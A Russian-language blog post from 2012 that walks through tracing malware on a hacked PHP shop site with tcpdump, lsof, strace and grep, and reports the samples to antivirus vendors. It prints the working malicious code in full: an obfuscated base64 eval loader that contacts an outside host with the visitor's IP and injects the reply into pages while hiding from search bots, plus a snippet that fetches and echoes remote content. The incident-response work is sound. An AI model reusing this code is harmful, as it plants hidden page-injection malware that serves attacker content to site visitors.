пятница, 30 марта 2012 г.

поиск вируса на сайте с помощью отличных утилит tcpdump и strace

смотрим куда конектится сервер (эти левые конекты спалил случайно по netstat -ant)
tcpdump -n src host 19.169.88.18 and dst port 80

смотрим процесс, который это делает
lsof -i | grep 77.72.133.152

php      20137 generation    4u  IPv4 4057556730      0t0  TCP node.generationua.com:56272->77.72.133.152:http (SYN_SENT)
php      20139 generation    4u  IPv4 4057558719      0t0  TCP node.generationua.com:56373->77.72.133.152:http (SYN_SENT)

так можно посмотреть какая команда выполняется
cat /proc/20137/cmdline

можно также так
ps aux | grep php

generation  20170  6.3  4.3 165940 16436 ?        S    10:56   0:00 /usr/bin/php-cgi php
generation  20172  6.6  4.4 165888 16732 ?        S    10:56   0:00 /usr/bin/php-cgi php

а данная команда покажет даже родительский процесс
ps auxf

apache   19876  0.0  2.6 303452 10040 ?        S    10:41   0:00  \_ /usr/sbin/httpd
generation  20257  1.1  4.3 165924 16568 ?        S    11:00   0:00  |   \_ /usr/bin/php-cgi php
apache   20132  0.0  2.6 303452 10032 ?        S    10:53   0:00  \_ /usr/sbin/httpd
generation  20254  0.4  4.6 166672 17456 ?        S    11:00   0:00  |   \_ /usr/bin/php-cgi php
apache   20182  0.0  2.6 303452  9988 ?        S    10:56   0:00  \_ /usr/sbin/httpd
generation  20252  0.3  4.4 166152 16856 ?        S    11:00   0:00      \_ /usr/bin/php-cgi php

Переустановка апача не помогла, по подсказке мудрого другана поменял строку tcpdump
tcpdump -nN -A -s 0 src host 19.169.88.18 and dst port 80
где
-s 0 - захватывает весь пакет а не 64 байта
-A - печатать данные из пакетов в ANSI (-x hex)
-N - не печатать доменную часть имени

E..H.d@.@.......MH...k.P.2...F..P...J...GET /lnk.php?c=utf&s= HTTP/1.0

08:55:30.694531 IP 19.169.88.18.45931 > 77.72.133.152.http: P 32:58(26) ack 1 win 5840
....MH...k.P.2...F..P...3...Host: itdspartners.org

а также

08:59:24.018846 IP 19.169.88.18.33997 > 92.241.161.54.http: P 0:100(100) ack 1 win 46
E...*>@.@.......\..6...Pz...n6pj...........
.Z...9..GET http://gcounter.cn/info.php?i=19.169.88.18 HTTP/1.0

то есть запросы вируса выглядят
http://gcounter.cn/info.php?i=
itdspartners.org/lnk.php?c=utf&s=

выполнил поиск по коду
find ./ -type f -exec grep -nH -i gcounter.cn {} \;
где
-n - печатает строку в файле где найден код
-H - печатает имя файла

ничего не нашло, попробовал по совету другана такие запросы
find ./ -type f -exec grep -nH -i info.php?i= {} \;
find ./ -type f -exec grep -nH -i file_get_contents\ \(\'http\:\/\/ {} \;
find ./ -type f -exec grep -nH -i gcounter.cn {} \;
find ./ -type f -exec grep -nH -i file_get_contents {} \; | grep http

нифига не нашло, попробовал

strace -ff -tt -p 16344 -o 1.txt

grep -i 92.241.161.54 *
1.txt.17979:15:19:44.639154 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("92.241.161.54")}, 16) = -1 EINPROGRESS (Operation now in progress)

less 1.txt.17979

перед строкой

15:19:44.639154 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("92.241.161.54")}, 16) = -1 EINPROGRESS (Operation now in progress)

читался файл

15:19:44.628456 open("/var/www/generationua.com/shop/quantityorder_max.inc.php", O_RDONLY) = 3

в нем есть часть

$cjyeimkm = base64_decode("aWY.....X0=");
function wbbehkjtmnq()
{
    $orb = "ipj";
    $qsodot = "ykt";
    $ddlaff = "rsir";
    $adj = "evyew";
    $qtvu = "wyg";
}
eval($cjyeimkm);

расшифровал base64_decode так

perl -MMIME::Base64 -e 'print decode_base64("aWY.....X0=");'

получилось тело вируса а в нем так же была еще одна зашифрованная часть

}$vrnan_yur=qqtk_vabc(base64_decode("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw")

после

perl -MMIME::Base64 -e 'print decode_base64("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw");'
http://gcounter.cn/info.php

мы наконец получили gcounter.cn за которым так долго охотились

код вируса

$cjyeimkm = base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCJvYl9zdGFydCIpICYmICFmdW5jdGlvbl9leGlzdHMoInBuanpra195d2liaiIpICYmICFmdW5jdGlvbl9leGlzdHMoInp6aW9fcWV3cGciKSAmJiAhZnVuY3Rpb25fZXhpc3RzKCJxcXRrX3ZhYmMiKSAmJiAhaXNzZXQoJEdMT0JBTFNbImVlZCJdKSAmJiBAc3RycG9zKHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSwiZ29vZ2xlYm90IikgPT09IGZhbHNlICYmIEBzdHJwb3Moc3RydG9sb3dlcigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pLCJtc25ib3QiKSA9PT0gZmFsc2UgJiYgQHN0cnBvcyhzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSksInlhaG9vIikgPT09IGZhbHNlICYmICFpc3NldCgkX0NPT0tJRVsiY29va2llX3Rlc3QiXSkgKXskR0xPQkFMU1siZWVkIl0gPSAxO3NldGNvb2tpZSgiY29va2llX3Rlc3QiLCAxLCB0aW1lKCkrMzYwMCoyNCoyLCAiLyIpOyAgICAgICAgICAgIGZ1bmN0aW9uIHp6aW9fcWV3cGcoJGd6ZW5jb2RlX2FyZykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkeCA9IEBvcmQoQHN1YnN0cigkZ3plbmNvZGVfYXJnLCAzLCAxKSk7CiAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ID0gMTA7CiAgICAgICAgICAgICAgICAgICAgJHNoaWZ0MiA9IDA7CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjQgKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVucGFjaz1AdW5wYWNrKCJ2Iiwgc3Vic3RyKCRnemVuY29kZV9hcmcsIDEwLCAyKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICR1bnBhY2s9JHVucGFja1sxXTsgJHNoaWZ0Kz0gMiArICR1bnBhY2s7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKCAkeCY4ICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzaGlmdCA9IEBzdHJwb3MoJGd6ZW5jb2RlX2FyZywgY2hyKDApLCAkc2hpZnQpICsgMTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjE2ICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzaGlmdCA9IEBzdHJwb3MoJGd6ZW5jb2RlX2FyZywgY2hyKDApLCAkc2hpZnQpICsgMTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjIgKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ICs9IDI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRnemlwID0gQGd6aW5mbGF0ZShAc3Vic3RyKCRnemVuY29kZV9hcmcsICRzaGlmdCkpOwogICAgICAgICAgICAgICAgICAgIGlmKCRnemlwID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRnemlwID0gJGd6ZW5jb2RlX2FyZzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRnemlwOwogICAgICAgICAgICAgICAgfQoKICAgIGZ1bmN0aW9uIHFxdGtfdmFiYyggJHVybCApIHsKCi8qICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpCiAgICAgICAgewogICAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CiAgICAgICAgICAgICRjdXJsX3Jlc3VsdCA9IGN1cmxfZXhlYyAoJGNoKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICBpZiAoJGN1cmxfcmVzdWx0KSByZXR1cm4gJGN1cmxfcmVzdWx0OwogICAgICAgIH0KCiAgICAgICAgaWYgKEBpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSkKICAgICAgICB7CiAgICAgICAgICAgICRmaWxlX3Jlc3VsdCA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgICAgICAgaWYgKCRmaWxlX3Jlc3VsdCkgcmV0dXJuICRmaWxlX3Jlc3VsdDsKICAgICAgICB9ICAgKi8KCiAgICAgICAgJHVybF9pbmZvID0gcGFyc2VfdXJsKCR1cmwpOwogICAgICAgICRxdWVyeSAgPSAiR0VUICR1cmwgSFRUUC8xLjBcclxuIjsKICAgICAgICAkcXVlcnkgLj0gIkhvc3Q6ICIgLiAkdXJsX2luZm9bImhvc3QiXSAuICJcclxuIjsKICAgICAgICAkcXVlcnkgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgICAgICRmcCA9IEBmc29ja29wZW4oJHVybF9pbmZvWyJob3N0Il0sIDgwLCAkZXJybm8sICRlcnJzdHIsIDUpOwogICAgICAgIGlmICghJGZwKSByZXR1cm4gZmFsc2U7CiAgICAgICAgQGZwdXRzKCRmcCwgJHF1ZXJ5KTsKICAgICAgICBAc29ja2V0X3NldF90aW1lb3V0ICgkZnAsIDUsIDApOwogICAgICAgICRzX3JldGNvZGUgPSBAc3Vic3RyIChAZmdldHMgKCRmcCwgNDA5NiksIDksIDMpOwogICAgICAgIGlmICgkc19yZXRjb2RlezB9IDw+ICIyIikge3JldHVybiBGQUxTRTt9CiAgICAgICAgd2hpbGUgKCEgQGZlb2YgKCRmcCkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoIlxyXG4iID09PSBAZmdldHMgKCRmcCwgNDA5NikpIHticmVhazt9CiAgICAgICAgfQogICAgICAgICRzb2NrZXRfcmVzdWx0ID0gIiI7CiAgICAgICAgd2hpbGUgKCEgQGZlb2YgKCRmcCkpIHsKICAgICAgICAgICAgJHNvY2tldF9yZXN1bHQgLj0gQGZnZXRzICgkZnAsIDQwOTYpOwogICAgICAgIH0KICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgaWYgKCRzb2NrZXRfcmVzdWx0KSByZXR1cm4gJHNvY2tldF9yZXN1bHQ7CiAgICB9CiAgICBmdW5jdGlvbiBwbmp6a2tfeXdpYmooJGh6cnd3KXtyZXR1cm4gcHJlZ19yZXBsYWNlKCIjKDwvdGFibGU+Lio8dGQ+fDwvdGFibGU+fDwvZGl2PltePD5dKjxkaXZbXjw+XSo+fDwvYm9keT4pI2lzIiwgIiQxIiAuIHZybmFuX3l1ciwgenppb19xZXdwZygkaHpyd3cpLCAxKTsKICAgIH0kdnJuYW5feXVyPXFxdGtfdmFiYyhiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwyZGpiM1Z1ZEdWeUxtTnVMMmx1Wm04dWNHaHciKSAuICI/aT0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pO0BwcmVnX21hdGNoKCIjPG9wZW4+KC4qKTwvY2xvc2U+IyIsICR2cm5hbl95dXIsICRtYXRjaGVzKTskdnJuYW5feXVyPSBpc3NldCgkbWF0Y2hlc1sxXSkgPyAkbWF0Y2hlc1sxXSA6ICIiO2lmICgkdnJuYW5feXVyKSB7ZGVmaW5lKCJ2cm5hbl95dXIiLCR2cm5hbl95dXIpOyBvYl9zdGFydCgicG5qemtrX3l3aWJqIik7fX0=");
function wbbehkjtmnq()
{
    $orb = "ipj";
    $qsodot = "ykt";
    $ddlaff = "rsir";
    $adj = "evyew";
    $qtvu = "wyg";
}
eval($cjyeimkm);

а также

find ./ -type f -exec grep -nH -i itdspartners.org {} \;

./test/index.php:68:    $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
./test/index.php:73:            $u4ain=@file_get_contents ("http://itdspartners.org/test.php");
./shop/index.php:68:    $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
./shop/index.php:73:            $u4ain=@file_get_contents ("http://itdspartners.org/test.php");

код вируса

if(@$_COOKIE['act']!=1){      
    $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
    echo $u4ain;
}
if(@$_COOKIE['act']!=1){          
    if(getenv('HTTP_REFERER')!=""&&!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){
        $u4ain=@file_get_contents ("http://itdspartners.org/test.php");
        echo $u4ain;
    }
}
?>

как видите отличные утилиты strace, tcpdump позволяют нам очень быстро найти скрипты вируса и удалить его с сайта. Надеюсь кому-то пригодится. Как видите я по моей неопытности даром переставлял апач нужно было правильно запустить tcpdump c -A ключем и включить трейс и тогда бы скрипты выруса были вычеслены очень быстро. Преимущество данного метода налицо по сравнению с другими статьями в интернете - например
а). не нужно копировать сайт на локальную машину и там искать зараженные файли а потом копировать сайт обратно
б). мы сразу видим зараженный файл
в). даже если вирус использует кодирование это его не спасает от утилиты strace, которая все равно находит зараженные файл.

P.S. вирус был отослан на анализ clamav и kasperkiy 31.04 через их сайты, проверка 04.04 на virustotal.com показала что clamav класифицирует вирус как Trojan.PHP-34 (второй Trojan.PHP-35). Касперский до сих пор как и другие вендоры в базу вирусов данный тип вируса не добавил.
Также можете использовать данный скриптик для поиска шелов у себя на сайте
https://github.com/emposha/PHP-Shell-Detector